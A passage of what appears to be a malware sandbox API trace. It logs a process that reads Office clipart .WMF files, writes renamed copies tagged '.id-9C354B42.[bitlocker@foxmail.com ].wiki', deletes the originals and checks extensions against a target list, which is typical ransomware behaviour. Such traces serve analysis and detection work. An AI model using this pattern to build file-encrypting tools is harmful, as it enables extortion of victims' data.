| out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.173] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.173] SetEndOfFile (hFile=0x1dc) returned 1 [0195.173] CloseHandle (hObject=0x1dc) returned 1 [0195.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.173] SetEndOfFile (hFile=0x200) returned 1 [0195.174] CloseHandle (hObject=0x200) returned 1 [0195.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0195.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.174] lstrlenW (lpString=".doc") returned 4 [0195.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.174] lstrlenW (lpString=".docx") returned 5 [0195.174] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.174] lstrlenW (lpString=".pdf") returned 4 [0195.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.174] lstrlenW (lpString=".xls") returned 4 [0195.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.174] lstrlenW (lpString=".xlsx") returned 5 [0195.174] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.174] lstrlenW (lpString=".ppt") returned 4 [0195.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.174] lstrlenW (lpString=".zip") returned 4 [0195.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.174] lstrlenW (lpString=".rar") returned 4 [0195.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString=".bz2") returned 4 [0195.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString=".7z") returned 3 [0195.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString=".dbf") returned 4 [0195.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString=".1cd") returned 4 [0195.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString=".jpg") returned 4 [0195.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString=".doc") returned 4 [0195.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString=".docx") returned 5 [0195.175] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.175] lstrlenW (lpString=".pdf") returned 4 [0195.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString=".xls") returned 4 [0195.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.175] lstrlenW (lpString=".xlsx") returned 5 [0195.175] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.175] lstrlenW (lpString=".ppt") returned 4 [0195.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.175] lstrlenW (lpString=".zip") returned 4 [0195.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.175] lstrlenW (lpString=".rar") returned 4 [0195.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.176] lstrlenW (lpString=".bz2") returned 4 [0195.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.176] lstrlenW (lpString=".7z") returned 3 [0195.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.176] lstrlenW (lpString=".dbf") returned 4 [0195.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.176] lstrlenW (lpString=".1cd") returned 4 [0195.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0195.176] lstrlenW (lpString=".jpg") returned 4 [0195.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.176] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.176] lstrlenW (lpString="J0107350.WMF") returned 12 [0195.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.177] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=23672) returned 1 [0195.177] CloseHandle (hObject=0x200) returned 1 [0195.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0195.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.177] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.177] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0195.178] GetLastError () returned 0x0 [0195.178] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5c78, lpOverlapped=0x0) returned 1 [0195.205] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c80, lpOverlapped=0x0) returned 1 [0195.206] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.206] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.206] SetEndOfFile (hFile=0x1dc) returned 1 [0195.206] CloseHandle (hObject=0x1dc) returned 1 [0195.206] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.206] SetEndOfFile (hFile=0x200) returned 1 [0195.207] CloseHandle (hObject=0x200) returned 1 [0195.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0195.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.359] lstrlenW (lpString=".doc") returned 4 [0195.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.359] lstrlenW (lpString=".docx") returned 5 [0195.359] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.360] lstrlenW (lpString=".pdf") returned 4 [0195.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString=".xls") returned 4 [0195.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.360] lstrlenW (lpString=".xlsx") returned 5 [0195.360] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.360] lstrlenW (lpString=".ppt") returned 4 [0195.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString=".zip") returned 4 [0195.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.360] lstrlenW (lpString=".rar") returned 4 [0195.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString=".bz2") returned 4 [0195.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString=".7z") returned 3 [0195.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString=".dbf") returned 4 [0195.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString=".1cd") returned 4 [0195.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString=".jpg") returned 4 [0195.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.360] lstrlenW (lpString=".doc") returned 4 [0195.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString=".docx") returned 5 [0195.361] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.361] lstrlenW (lpString=".pdf") returned 4 [0195.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString=".xls") returned 4 [0195.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.361] lstrlenW (lpString=".xlsx") returned 5 [0195.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.361] lstrlenW (lpString=".ppt") returned 4 [0195.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.361] lstrlenW (lpString=".zip") returned 4 [0195.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.361] lstrlenW (lpString=".rar") returned 4 [0195.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString=".bz2") returned 4 [0195.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString=".7z") returned 3 [0195.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.361] lstrlenW (lpString=".dbf") returned 4 [0195.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.361] lstrlenW (lpString=".1cd") returned 4 [0195.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0195.361] lstrlenW (lpString=".jpg") returned 4 [0195.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.361] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.362] lstrlenW (lpString="J0107458.WMF") returned 12 [0195.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.362] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3568) returned 1 [0195.362] CloseHandle (hObject=0x218) returned 1 [0195.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0195.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.362] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.362] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.363] GetLastError () returned 0x0 [0195.363] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xdf0, lpOverlapped=0x0) returned 1 [0195.364] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe00, lpOverlapped=0x0) returned 1 [0195.365] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.365] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.365] SetEndOfFile (hFile=0x1e4) returned 1 [0195.365] CloseHandle (hObject=0x1e4) returned 1 [0195.365] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.365] SetEndOfFile (hFile=0x218) returned 1 [0195.366] CloseHandle (hObject=0x218) returned 1 [0195.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString=".doc") returned 4 [0195.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".docx") returned 5 [0195.367] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.367] lstrlenW (lpString=".pdf") returned 4 [0195.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".xls") returned 4 [0195.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.367] lstrlenW (lpString=".xlsx") returned 5 [0195.367] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.367] lstrlenW (lpString=".ppt") returned 4 [0195.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString=".zip") returned 4 [0195.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.367] lstrlenW (lpString=".rar") returned 4 [0195.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".bz2") returned 4 [0195.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".7z") returned 3 [0195.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString=".dbf") returned 4 [0195.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString=".1cd") returned 4 [0195.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.367] lstrlenW (lpString=".jpg") returned 4 [0195.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString=".doc") returned 4 [0195.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString=".docx") returned 5 [0195.368] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.368] lstrlenW (lpString=".pdf") returned 4 [0195.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString=".xls") returned 4 [0195.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.368] lstrlenW (lpString=".xlsx") returned 5 [0195.368] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.368] lstrlenW (lpString=".ppt") returned 4 [0195.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString=".zip") returned 4 [0195.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.368] lstrlenW (lpString=".rar") returned 4 [0195.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString=".bz2") returned 4 [0195.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString=".7z") returned 3 [0195.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString=".dbf") returned 4 [0195.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString=".1cd") returned 4 [0195.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0195.368] lstrlenW (lpString=".jpg") returned 4 [0195.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.369] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.369] lstrlenW (lpString="J0107468.WMF") returned 12 [0195.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.369] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9612) returned 1 [0195.369] CloseHandle (hObject=0x218) returned 1 [0195.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0195.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.369] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.369] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.370] GetLastError () returned 0x0 [0195.370] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x258c, lpOverlapped=0x0) returned 1 [0195.372] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0195.372] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.373] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.373] SetEndOfFile (hFile=0x1e4) returned 1 [0195.373] CloseHandle (hObject=0x1e4) returned 1 [0195.373] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.373] SetEndOfFile (hFile=0x218) returned 1 [0195.374] CloseHandle (hObject=0x218) returned 1 [0195.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[bitlocker@foxmail.com 